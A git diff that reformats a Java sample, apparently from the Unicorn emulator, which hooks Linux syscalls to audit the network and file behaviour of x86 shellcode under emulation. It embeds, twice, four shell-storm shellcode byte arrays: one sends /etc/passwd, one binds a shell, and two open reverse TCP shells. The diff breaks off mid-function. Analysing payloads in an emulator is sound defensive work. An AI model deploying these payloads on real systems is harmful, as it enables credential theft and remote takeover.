Reformat Java bindings.
This commit is contained in:
@@ -27,403 +27,446 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||
import unicorn.*;
|
||||
import java.util.*;
|
||||
|
||||
|
||||
public class SampleNetworkAuditing {
|
||||
|
||||
public static long next_id = 3;
|
||||
public static final int SIZE_REG = 4;
|
||||
public static long next_id = 3;
|
||||
public static final int SIZE_REG = 4;
|
||||
|
||||
private static LogChain fd_chains = new LogChain();
|
||||
private static LogChain fd_chains = new LogChain();
|
||||
|
||||
public static long get_id() {
|
||||
return next_id++;
|
||||
}
|
||||
public static long get_id() {
|
||||
return next_id++;
|
||||
}
|
||||
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
public static final byte[] toBytes(long val) {
|
||||
byte[] res = new byte[8];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
res[i] = (byte)(val & 0xff);
|
||||
val >>>= 8;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
public static final byte[] toBytes(long val) {
|
||||
byte[] res = new byte[8];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
res[i] = (byte) (val & 0xff);
|
||||
val >>>= 8;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
private static class MyInterruptHook implements InterruptHook {
|
||||
// callback for tracing Linux interrupt
|
||||
public void hook(Unicorn uc, int intno, Object user) {
|
||||
// System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode()));
|
||||
|
||||
private static class MyInterruptHook implements InterruptHook {
|
||||
// callback for tracing Linux interrupt
|
||||
public void hook(Unicorn uc, int intno, Object user) {
|
||||
// System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode()));
|
||||
|
||||
// only handle Linux syscall
|
||||
if (intno != 0x80) {
|
||||
return;
|
||||
}
|
||||
Long eax = (Long)uc.reg_read(Unicorn.UC_X86_REG_EAX);
|
||||
Long ebx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX);
|
||||
Long ecx = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX);
|
||||
Long edx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EDX);
|
||||
Long eip = (Long)uc.reg_read(Unicorn.UC_X86_REG_EIP);
|
||||
|
||||
// System.out.printf(">>> INTERRUPT %d\n", toInt(eax));
|
||||
|
||||
if (eax == 1) { // sys_exit
|
||||
System.out.printf(">>> SYS_EXIT\n");
|
||||
uc.emu_stop();
|
||||
}
|
||||
else if (eax == 3) { // sys_read
|
||||
long fd = ebx;
|
||||
long buf = ecx;
|
||||
long count = edx;
|
||||
|
||||
String uuid = UUID.randomUUID().toString().substring(0, 32);
|
||||
|
||||
byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, (int)Math.min(count, uuid.length()));
|
||||
uc.mem_write(buf, dummy_content);
|
||||
|
||||
String msg = String.format("read %d bytes from fd(%d) with dummy_content(%s)", count, fd, uuid.substring(0, dummy_content.length));
|
||||
|
||||
fd_chains.add_log(fd, msg);
|
||||
System.out.printf(">>> %s\n", msg);
|
||||
}
|
||||
else if (eax == 4) { // sys_write
|
||||
long fd = ebx;
|
||||
long buf = ecx;
|
||||
long count = edx;
|
||||
|
||||
byte[] content = uc.mem_read(buf, count);
|
||||
|
||||
String msg = String.format("write data=%s count=%d to fd(%d)", new String(content), count, fd);
|
||||
|
||||
System.out.printf(">>> %s\n", msg);
|
||||
fd_chains.add_log(fd, msg);
|
||||
}
|
||||
else if (eax == 5) { // sys_open
|
||||
long filename_addr = ebx;
|
||||
long flags = ecx;
|
||||
long mode = edx;
|
||||
String filename = read_string(uc, filename_addr);
|
||||
|
||||
Long dummy_fd = get_id();
|
||||
uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd);
|
||||
|
||||
String msg = String.format("open file (filename=%s flags=%d mode=%d) with fd(%d)", filename, flags, mode, dummy_fd);
|
||||
|
||||
fd_chains.create_chain(dummy_fd);
|
||||
fd_chains.add_log(dummy_fd, msg);
|
||||
System.out.printf(">>> %s\n", msg);
|
||||
}
|
||||
else if (eax == 11) { // sys_execv
|
||||
// System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx));
|
||||
String filename = read_string(uc, ebx);
|
||||
|
||||
System.out.printf(">>> SYS_EXECV filename=%s\n", filename);
|
||||
}
|
||||
else if (eax == 63) { // sys_dup2
|
||||
fd_chains.link_fd(ecx, ebx);
|
||||
System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx);
|
||||
}
|
||||
else if (eax == 102) { // sys_socketcall
|
||||
// ref: http://www.skyfree.org/linux/kernel_network/socket.html
|
||||
Long call = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX);
|
||||
Long args = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX);
|
||||
|
||||
// int sys_socketcall(int call, unsigned long *args)
|
||||
if (call == 1) { // sys_socket
|
||||
// err = sys_socket(a0,a1,a[2])
|
||||
// int sys_socket(int family, int type, int protocol)
|
||||
long family = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long sock_type = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
long protocol = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||
|
||||
Long dummy_fd = get_id();
|
||||
uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd);
|
||||
|
||||
if (family == 2) { // AF_INET
|
||||
String msg = String.format("create socket (%s, %s) with fd(%d)", ADDR_FAMILY.get(family), SOCKET_TYPES.get(sock_type), dummy_fd);
|
||||
fd_chains.create_chain(dummy_fd);
|
||||
fd_chains.add_log(dummy_fd, msg);
|
||||
print_sockcall(msg);
|
||||
}
|
||||
else if (family == 3) { // AF_INET6
|
||||
}
|
||||
// only handle Linux syscall
|
||||
if (intno != 0x80) {
|
||||
return;
|
||||
}
|
||||
else if (call == 2) { // sys_bind
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long umyaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||
|
||||
byte[] sock_addr = uc.mem_read(umyaddr, addrlen);
|
||||
|
||||
String msg = String.format("fd(%d) bind to %s", fd, parse_sock_address(sock_addr));
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
Long eax = (Long) uc.reg_read(Unicorn.UC_X86_REG_EAX);
|
||||
Long ebx = (Long) uc.reg_read(Unicorn.UC_X86_REG_EBX);
|
||||
Long ecx = (Long) uc.reg_read(Unicorn.UC_X86_REG_ECX);
|
||||
Long edx = (Long) uc.reg_read(Unicorn.UC_X86_REG_EDX);
|
||||
Long eip = (Long) uc.reg_read(Unicorn.UC_X86_REG_EIP);
|
||||
|
||||
// System.out.printf(">>> INTERRUPT %d\n", toInt(eax));
|
||||
|
||||
if (eax == 1) { // sys_exit
|
||||
System.out.printf(">>> SYS_EXIT\n");
|
||||
uc.emu_stop();
|
||||
} else if (eax == 3) { // sys_read
|
||||
long fd = ebx;
|
||||
long buf = ecx;
|
||||
long count = edx;
|
||||
|
||||
String uuid = UUID.randomUUID().toString().substring(0, 32);
|
||||
|
||||
byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0,
|
||||
(int) Math.min(count, uuid.length()));
|
||||
uc.mem_write(buf, dummy_content);
|
||||
|
||||
String msg = String.format(
|
||||
"read %d bytes from fd(%d) with dummy_content(%s)", count,
|
||||
fd, uuid.substring(0, dummy_content.length));
|
||||
|
||||
fd_chains.add_log(fd, msg);
|
||||
System.out.printf(">>> %s\n", msg);
|
||||
} else if (eax == 4) { // sys_write
|
||||
long fd = ebx;
|
||||
long buf = ecx;
|
||||
long count = edx;
|
||||
|
||||
byte[] content = uc.mem_read(buf, count);
|
||||
|
||||
String msg = String.format("write data=%s count=%d to fd(%d)",
|
||||
new String(content), count, fd);
|
||||
|
||||
System.out.printf(">>> %s\n", msg);
|
||||
fd_chains.add_log(fd, msg);
|
||||
} else if (eax == 5) { // sys_open
|
||||
long filename_addr = ebx;
|
||||
long flags = ecx;
|
||||
long mode = edx;
|
||||
String filename = read_string(uc, filename_addr);
|
||||
|
||||
Long dummy_fd = get_id();
|
||||
uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd);
|
||||
|
||||
String msg = String.format(
|
||||
"open file (filename=%s flags=%d mode=%d) with fd(%d)",
|
||||
filename, flags, mode, dummy_fd);
|
||||
|
||||
fd_chains.create_chain(dummy_fd);
|
||||
fd_chains.add_log(dummy_fd, msg);
|
||||
System.out.printf(">>> %s\n", msg);
|
||||
} else if (eax == 11) { // sys_execv
|
||||
// System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx));
|
||||
String filename = read_string(uc, ebx);
|
||||
|
||||
System.out.printf(">>> SYS_EXECV filename=%s\n", filename);
|
||||
} else if (eax == 63) { // sys_dup2
|
||||
fd_chains.link_fd(ecx, ebx);
|
||||
System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx);
|
||||
} else if (eax == 102) { // sys_socketcall
|
||||
// ref: http://www.skyfree.org/linux/kernel_network/socket.html
|
||||
Long call = (Long) uc.reg_read(Unicorn.UC_X86_REG_EBX);
|
||||
Long args = (Long) uc.reg_read(Unicorn.UC_X86_REG_ECX);
|
||||
|
||||
// int sys_socketcall(int call, unsigned long *args)
|
||||
if (call == 1) { // sys_socket
|
||||
// err = sys_socket(a0,a1,a[2])
|
||||
// int sys_socket(int family, int type, int protocol)
|
||||
long family = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long sock_type =
|
||||
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
long protocol =
|
||||
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||
|
||||
Long dummy_fd = get_id();
|
||||
uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd);
|
||||
|
||||
if (family == 2) { // AF_INET
|
||||
String msg =
|
||||
String.format("create socket (%s, %s) with fd(%d)",
|
||||
ADDR_FAMILY.get(family),
|
||||
SOCKET_TYPES.get(sock_type), dummy_fd);
|
||||
fd_chains.create_chain(dummy_fd);
|
||||
fd_chains.add_log(dummy_fd, msg);
|
||||
print_sockcall(msg);
|
||||
} else if (family == 3) { // AF_INET6
|
||||
}
|
||||
} else if (call == 2) { // sys_bind
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long umyaddr =
|
||||
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
long addrlen =
|
||||
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||
|
||||
byte[] sock_addr = uc.mem_read(umyaddr, addrlen);
|
||||
|
||||
String msg = String.format("fd(%d) bind to %s", fd,
|
||||
parse_sock_address(sock_addr));
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
} else if (call == 3) { // sys_connect
|
||||
// err = sys_connect(a0, (struct sockaddr *)a1, a[2])
|
||||
// int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long uservaddr =
|
||||
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
long addrlen =
|
||||
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||
|
||||
byte[] sock_addr = uc.mem_read(uservaddr, addrlen);
|
||||
String msg = String.format("fd(%d) connect to %s", fd,
|
||||
parse_sock_address(sock_addr));
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
} else if (call == 4) { // sys_listen
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long backlog =
|
||||
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
|
||||
String msg = String.format(
|
||||
"fd(%d) listened with backlog=%d", fd, backlog);
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
} else if (call == 5) { // sys_accept
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long upeer_sockaddr =
|
||||
toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
long upeer_addrlen =
|
||||
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||
|
||||
// System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen))
|
||||
|
||||
if (upeer_sockaddr == 0x0) {
|
||||
print_sockcall(
|
||||
String.format("fd(%d) accept client", fd));
|
||||
} else {
|
||||
long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4));
|
||||
|
||||
byte[] sock_addr =
|
||||
uc.mem_read(upeer_sockaddr, upeer_len);
|
||||
|
||||
String msg =
|
||||
String.format("fd(%d) accept client with upeer=%s",
|
||||
fd, parse_sock_address(sock_addr));
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
}
|
||||
} else if (call == 9) { // sys_send
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
long length =
|
||||
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||
long flags =
|
||||
toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
|
||||
|
||||
byte[] buf = uc.mem_read(buff, length);
|
||||
String msg = String.format("fd(%d) send data=%s", fd,
|
||||
new String(buf));
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
} else if (call == 11) { // sys_receive
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
long size =
|
||||
toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||
long flags =
|
||||
toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
|
||||
|
||||
String msg = String.format(
|
||||
"fd(%d) is gonna receive data with size=%d flags=%d",
|
||||
fd, size, flags);
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
} else if (call == 13) { // sys_shutdown
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
|
||||
String msg = String.format(
|
||||
"fd(%d) is shutted down because of %d", fd, how);
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
}
|
||||
}
|
||||
else if (call == 3) { // sys_connect
|
||||
// err = sys_connect(a0, (struct sockaddr *)a1, a[2])
|
||||
// int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long uservaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||
|
||||
byte[] sock_addr = uc.mem_read(uservaddr, addrlen);
|
||||
String msg = String.format("fd(%d) connect to %s", fd, parse_sock_address(sock_addr));
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
}
|
||||
}
|
||||
|
||||
public static final Hashtable<Long, String> SOCKET_TYPES;
|
||||
public static final Hashtable<Long, String> ADDR_FAMILY;
|
||||
|
||||
static {
|
||||
SOCKET_TYPES = new Hashtable<Long, String>();
|
||||
ADDR_FAMILY = new Hashtable<Long, String>();
|
||||
SOCKET_TYPES.put(1L, "SOCK_STREAM");
|
||||
SOCKET_TYPES.put(2L, "SOCK_DGRAM");
|
||||
SOCKET_TYPES.put(3L, "SOCK_RAW");
|
||||
SOCKET_TYPES.put(4L, "SOCK_RDM");
|
||||
SOCKET_TYPES.put(5L, "SOCK_SEQPACKET");
|
||||
SOCKET_TYPES.put(10L, "SOCK_PACKET");
|
||||
|
||||
ADDR_FAMILY.put(0L, "AF_UNSPEC");
|
||||
ADDR_FAMILY.put(1L, "AF_UNIX");
|
||||
ADDR_FAMILY.put(2L, "AF_INET");
|
||||
ADDR_FAMILY.put(3L, "AF_AX25");
|
||||
ADDR_FAMILY.put(4L, "AF_IPX");
|
||||
ADDR_FAMILY.put(5L, "AF_APPLETALK");
|
||||
ADDR_FAMILY.put(6L, "AF_NETROM");
|
||||
ADDR_FAMILY.put(7L, "AF_BRIDGE");
|
||||
ADDR_FAMILY.put(8L, "AF_AAL5");
|
||||
ADDR_FAMILY.put(9L, "AF_X25");
|
||||
ADDR_FAMILY.put(10L, "AF_INET6");
|
||||
ADDR_FAMILY.put(12L, "AF_MAX");
|
||||
}
|
||||
|
||||
// http://shell-storm.org/shellcode/files/shellcode-861.php
|
||||
public static final byte[] X86_SEND_ETCPASSWD = { 106, 102, 88, 49, -37, 67,
|
||||
49, -46, 82, 106, 1, 106, 2, -119, -31, -51, -128, -119, -58, 106, 102,
|
||||
88, 67, 104, 127, 1, 1, 1, 102, 104, 48, 57, 102, 83, -119, -31, 106,
|
||||
16, 81, 86, -119, -31, 67, -51, -128, -119, -58, 106, 1, 89, -80, 63,
|
||||
-51, -128, -21, 39, 106, 5, 88, 91, 49, -55, -51, -128, -119, -61, -80,
|
||||
3, -119, -25, -119, -7, 49, -46, -74, -1, -78, -1, -51, -128, -119, -62,
|
||||
106, 4, 88, -77, 1, -51, -128, 106, 1, 88, 67, -51, -128, -24, -44, -1,
|
||||
-1, -1, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100 };
|
||||
// http://shell-storm.org/shellcode/files/shellcode-882.php
|
||||
public static final byte[] X86_BIND_TCP = { 106, 102, 88, 106, 1, 91, 49,
|
||||
-10, 86, 83, 106, 2, -119, -31, -51, -128, 95, -105, -109, -80, 102, 86,
|
||||
102, 104, 5, 57, 102, 83, -119, -31, 106, 16, 81, 87, -119, -31, -51,
|
||||
-128, -80, 102, -77, 4, 86, 87, -119, -31, -51, -128, -80, 102, 67, 86,
|
||||
86, 87, -119, -31, -51, -128, 89, 89, -79, 2, -109, -80, 63, -51, -128,
|
||||
73, 121, -7, -80, 11, 104, 47, 47, 115, 104, 104, 47, 98, 105, 110,
|
||||
-119, -29, 65, -119, -54, -51, -128 };
|
||||
// http://shell-storm.org/shellcode/files/shellcode-883.php
|
||||
public static final byte[] X86_REVERSE_TCP = { 106, 102, 88, 106, 1, 91, 49,
|
||||
-46, 82, 83, 106, 2, -119, -31, -51, -128, -110, -80, 102, 104, 127, 1,
|
||||
1, 1, 102, 104, 5, 57, 67, 102, 83, -119, -31, 106, 16, 81, 82, -119,
|
||||
-31, 67, -51, -128, 106, 2, 89, -121, -38, -80, 63, -51, -128, 73, 121,
|
||||
-7, -80, 11, 65, -119, -54, 82, 104, 47, 47, 115, 104, 104, 47, 98, 105,
|
||||
110, -119, -29, -51, -128 };
|
||||
// http://shell-storm.org/shellcode/files/shellcode-849.php
|
||||
public static final byte[] X86_REVERSE_TCP_2 = { 49, -64, 49, -37, 49, -55,
|
||||
49, -46, -80, 102, -77, 1, 81, 106, 6, 106, 1, 106, 2, -119, -31, -51,
|
||||
-128, -119, -58, -80, 102, 49, -37, -77, 2, 104, -64, -88, 1, 10, 102,
|
||||
104, 122, 105, 102, 83, -2, -61, -119, -31, 106, 16, 81, 86, -119, -31,
|
||||
-51, -128, 49, -55, -79, 3, -2, -55, -80, 63, -51, -128, 117, -8, 49,
|
||||
-64, 82, 104, 110, 47, 115, 104, 104, 47, 47, 98, 105, -119, -29, 82,
|
||||
83, -119, -31, 82, -119, -30, -80, 11, -51, -128 };
|
||||
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x1000000;
|
||||
|
||||
public static String join(ArrayList<String> l, String sep) {
|
||||
boolean first = true;
|
||||
StringBuilder res = new StringBuilder();
|
||||
for (String s : l) {
|
||||
if (!first) {
|
||||
res.append(sep);
|
||||
}
|
||||
else if (call == 4) { // sys_listen
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long backlog = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
|
||||
String msg = String.format("fd(%d) listened with backlog=%d", fd, backlog);
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
res.append(s);
|
||||
first = false;
|
||||
}
|
||||
return res.toString();
|
||||
}
|
||||
|
||||
private static class LogChain {
|
||||
public Hashtable<Long, ArrayList<String>> __chains =
|
||||
new Hashtable<Long, ArrayList<String>>();
|
||||
public Hashtable<Long, ArrayList<Long>> __linking_fds =
|
||||
new Hashtable<Long, ArrayList<Long>>();
|
||||
|
||||
public void clean() {
|
||||
__chains.clear();
|
||||
__linking_fds.clear();
|
||||
}
|
||||
|
||||
public void create_chain(long id) {
|
||||
if (!__chains.containsKey(id)) {
|
||||
__chains.put(id, new ArrayList<String>());
|
||||
} else {
|
||||
System.out.printf("LogChain: id %d existed\n", id);
|
||||
}
|
||||
else if (call == 5) { // sys_accept
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long upeer_sockaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
long upeer_addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||
|
||||
// System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen))
|
||||
|
||||
if (upeer_sockaddr == 0x0) {
|
||||
print_sockcall(String.format("fd(%d) accept client", fd));
|
||||
}
|
||||
else {
|
||||
long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4));
|
||||
|
||||
byte[] sock_addr = uc.mem_read(upeer_sockaddr, upeer_len);
|
||||
|
||||
String msg = String.format("fd(%d) accept client with upeer=%s", fd, parse_sock_address(sock_addr));
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
}
|
||||
}
|
||||
|
||||
public void add_log(long id, String msg) {
|
||||
long fd = get_original_fd(id);
|
||||
|
||||
if (fd != -1) {
|
||||
__chains.get(fd).add(msg);
|
||||
} else {
|
||||
System.out.printf("LogChain: id %d doesn't exist\n", id);
|
||||
}
|
||||
else if (call == 9) { // sys_send
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
long length = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||
long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
|
||||
|
||||
byte[] buf = uc.mem_read(buff, length);
|
||||
String msg = String.format("fd(%d) send data=%s", fd, new String(buf));
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
}
|
||||
|
||||
public void link_fd(long from_fd, long to_fd) {
|
||||
if (!__linking_fds.containsKey(to_fd)) {
|
||||
__linking_fds.put(to_fd, new ArrayList<Long>());
|
||||
}
|
||||
else if (call == 11) { // sys_receive
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
long size = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG));
|
||||
long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG));
|
||||
|
||||
String msg = String.format("fd(%d) is gonna receive data with size=%d flags=%d", fd, size, flags);
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
|
||||
__linking_fds.get(to_fd).add(from_fd);
|
||||
}
|
||||
|
||||
public long get_original_fd(long fd) {
|
||||
if (__chains.containsKey(fd)) {
|
||||
return fd;
|
||||
}
|
||||
else if (call == 13) { // sys_shutdown
|
||||
long fd = toInt(uc.mem_read(args, SIZE_REG));
|
||||
long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG));
|
||||
|
||||
String msg = String.format("fd(%d) is shutted down because of %d", fd, how);
|
||||
fd_chains.add_log(fd, msg);
|
||||
print_sockcall(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static final Hashtable<Long, String> SOCKET_TYPES;
|
||||
public static final Hashtable<Long, String> ADDR_FAMILY;
|
||||
static {
|
||||
SOCKET_TYPES = new Hashtable<Long, String>();
|
||||
ADDR_FAMILY = new Hashtable<Long, String>();
|
||||
SOCKET_TYPES.put(1L, "SOCK_STREAM");
|
||||
SOCKET_TYPES.put(2L, "SOCK_DGRAM");
|
||||
SOCKET_TYPES.put(3L, "SOCK_RAW");
|
||||
SOCKET_TYPES.put(4L, "SOCK_RDM");
|
||||
SOCKET_TYPES.put(5L, "SOCK_SEQPACKET");
|
||||
SOCKET_TYPES.put(10L, "SOCK_PACKET");
|
||||
|
||||
ADDR_FAMILY.put(0L, "AF_UNSPEC");
|
||||
ADDR_FAMILY.put(1L, "AF_UNIX");
|
||||
ADDR_FAMILY.put(2L, "AF_INET");
|
||||
ADDR_FAMILY.put(3L, "AF_AX25");
|
||||
ADDR_FAMILY.put(4L, "AF_IPX");
|
||||
ADDR_FAMILY.put(5L, "AF_APPLETALK");
|
||||
ADDR_FAMILY.put(6L, "AF_NETROM");
|
||||
ADDR_FAMILY.put(7L, "AF_BRIDGE");
|
||||
ADDR_FAMILY.put(8L, "AF_AAL5");
|
||||
ADDR_FAMILY.put(9L, "AF_X25");
|
||||
ADDR_FAMILY.put(10L, "AF_INET6");
|
||||
ADDR_FAMILY.put(12L, "AF_MAX");
|
||||
}
|
||||
|
||||
// http://shell-storm.org/shellcode/files/shellcode-861.php
|
||||
public static final byte[] X86_SEND_ETCPASSWD = {106,102,88,49,-37,67,49,-46,82,106,1,106,2,-119,-31,-51,-128,-119,-58,106,102,88,67,104,127,1,1,1,102,104,48,57,102,83,-119,-31,106,16,81,86,-119,-31,67,-51,-128,-119,-58,106,1,89,-80,63,-51,-128,-21,39,106,5,88,91,49,-55,-51,-128,-119,-61,-80,3,-119,-25,-119,-7,49,-46,-74,-1,-78,-1,-51,-128,-119,-62,106,4,88,-77,1,-51,-128,106,1,88,67,-51,-128,-24,-44,-1,-1,-1,47,101,116,99,47,112,97,115,115,119,100};
|
||||
// http://shell-storm.org/shellcode/files/shellcode-882.php
|
||||
public static final byte[] X86_BIND_TCP = {106,102,88,106,1,91,49,-10,86,83,106,2,-119,-31,-51,-128,95,-105,-109,-80,102,86,102,104,5,57,102,83,-119,-31,106,16,81,87,-119,-31,-51,-128,-80,102,-77,4,86,87,-119,-31,-51,-128,-80,102,67,86,86,87,-119,-31,-51,-128,89,89,-79,2,-109,-80,63,-51,-128,73,121,-7,-80,11,104,47,47,115,104,104,47,98,105,110,-119,-29,65,-119,-54,-51,-128};
|
||||
// http://shell-storm.org/shellcode/files/shellcode-883.php
|
||||
public static final byte[] X86_REVERSE_TCP = {106,102,88,106,1,91,49,-46,82,83,106,2,-119,-31,-51,-128,-110,-80,102,104,127,1,1,1,102,104,5,57,67,102,83,-119,-31,106,16,81,82,-119,-31,67,-51,-128,106,2,89,-121,-38,-80,63,-51,-128,73,121,-7,-80,11,65,-119,-54,82,104,47,47,115,104,104,47,98,105,110,-119,-29,-51,-128};
|
||||
// http://shell-storm.org/shellcode/files/shellcode-849.php
|
||||
public static final byte[] X86_REVERSE_TCP_2 = {49,-64,49,-37,49,-55,49,-46,-80,102,-77,1,81,106,6,106,1,106,2,-119,-31,-51,-128,-119,-58,-80,102,49,-37,-77,2,104,-64,-88,1,10,102,104,122,105,102,83,-2,-61,-119,-31,106,16,81,86,-119,-31,-51,-128,49,-55,-79,3,-2,-55,-80,63,-51,-128,117,-8,49,-64,82,104,110,47,115,104,104,47,47,98,105,-119,-29,82,83,-119,-31,82,-119,-30,-80,11,-51,-128};
|
||||
for (Long orig_fd : __linking_fds.keySet()) {
|
||||
if (__linking_fds.get(orig_fd).contains(fd))
|
||||
return orig_fd;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x1000000;
|
||||
public void print_report() {
|
||||
System.out.printf("\n----------------");
|
||||
System.out.printf("\n| START REPORT |");
|
||||
System.out.printf("\n----------------\n\n");
|
||||
for (Long fd : __chains.keySet()) {
|
||||
System.out.printf("---- START FD(%d) ----\n", fd);
|
||||
System.out.println(join(__chains.get(fd), "\n"));
|
||||
System.out.printf("---- END FD(%d) ----\n", fd);
|
||||
}
|
||||
System.out.printf("\n--------------");
|
||||
System.out.printf("\n| END REPORT |");
|
||||
System.out.printf("\n--------------\n\n");
|
||||
}
|
||||
}
|
||||
// end supported classes
|
||||
|
||||
public static String join(ArrayList<String> l, String sep) {
|
||||
boolean first = true;
|
||||
StringBuilder res = new StringBuilder();
|
||||
for (String s : l) {
|
||||
if (!first) {
|
||||
res.append(sep);
|
||||
}
|
||||
res.append(s);
|
||||
first = false;
|
||||
}
|
||||
return res.toString();
|
||||
}
|
||||
// utilities
|
||||
static String read_string(Unicorn uc, long addr) {
|
||||
StringBuilder ret = new StringBuilder();
|
||||
char c;
|
||||
do {
|
||||
c = (char) (uc.mem_read(addr++, 1)[0] & 0xff);
|
||||
if (c != 0) {
|
||||
ret.append(c);
|
||||
}
|
||||
